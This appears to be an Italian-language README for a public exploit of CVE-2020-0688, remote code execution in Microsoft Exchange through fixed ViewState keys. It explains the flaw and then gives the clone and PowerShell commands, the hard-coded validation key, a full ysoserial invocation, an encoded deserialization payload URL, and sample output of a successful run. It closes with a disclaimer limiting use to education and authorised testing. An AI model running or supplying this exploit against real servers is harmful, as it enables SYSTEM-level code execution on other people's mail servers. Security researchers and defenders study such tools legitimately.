
Esecuzione di codice in remoto su Microsoft Exchange Server attraverso chiavi crittografiche fisse
Una vulnerabilità di esecuzione codice in remoto esiste in Microsoft Exchange Server quando il server non riesce a creare correttamente chiavi uniche durante l'installazione.
La conoscenza della chiave di convalida consente a un utente autenticato con una cassetta postale di passare oggetti arbitrari da deserializzare dall'applicazione web, che viene eseguita come SYSTEM.
Il bug si trova nel componente Exchange Control Panel (ECP). La natura del bug è piuttosto semplice. Invece di avere chiavi generate casualmente per installazione, tutte le installazioni di Microsoft Exchange Server hanno gli stessi valori validationKey e decryptionKey in web.config. Queste chiavi vengono utilizzate per fornire sicurezza per ViewState. ViewState sono dati lato server che le applicazioni web ASP.NET memorizzano in formato serializzato sul client. Il client restituisce questi dati al server tramite il parametro di richiesta __VIEWSTATE.
A causa dell'uso di chiavi statiche, un utente malintenzionato autenticato può indurre il server a deserializzare dati ViewState creati ad arte. Con l'aiuto di YSoSerial.net, un utente malintenzionato può eseguire codice .NET arbitrario sul server nel contesto dell'applicazione web Exchange Control Panel, che viene eseguita come SYSTEM. (Fonte)
Grazie a queste istruzioni, puoi ottenere una copia del progetto e farla funzionare sulla tua macchina locale per scopi di sviluppo e test.
git clone https://github.com/MrTiz/CVE-2020-0688.git
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url <url> -Username <username> -Password <password> -Command <command> -YsoserialPath <ysoserialpath>
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://localhost' -Username 'domain\username' -Password 'REDACTED' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe'
[*] Start to exploit...
[+] Login url: https://localhost:443/owa/auth.owa
[*] Status code: 200
[+] Login successfully!
[*] Tring to get __VIEWSTATEGENERATOR...
[+] Done! __VIEWSTATEGENERATOR: B97B4E27
[*] Tring to get ASP.NET_SessionId...
[+] Done! ASP.NET_SessionId: 624abfff-85b6-4357-be8c-18a931cad256
C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell whoami > C:/whoami.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="624abfff-85b6-4357-be8c-18a931cad256" --islegacy --isdebug
[+] Exp url: https://localhost:443/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyywYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADtBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BcG93ZXJzaGVsbDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BIndob2FtaSAmZ3Q7IEM6L3dob2FtaS50eHQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgviru9bDCgMPT0snH0s0u%2BA6J37Fg%3D%3D
[*] Auto trigger payload...
[+] Status code: 500, Maybe success!
I contributi rendono la comunità open source un posto fantastico per imparare, ispirare e creare. Ogni contributo è molto apprezzato.
git checkout -b feature/AmazingFeature)git commit -m 'Aggiungi una AmazingFeature')git push origin feature/AmazingFeature)Questo exploit è stato sviluppato e pubblicato esclusivamente a scopo educativo e di ricerca. L'autore non si assume alcuna responsabilità per un uso illegale. Usalo a tuo rischio e solo contro sistemi per i quali sei autorizzato a testarlo.
Questo progetto è concesso in licenza secondo la GNU General Public License v3.0 - vedi il file LICENSE per i dettagli.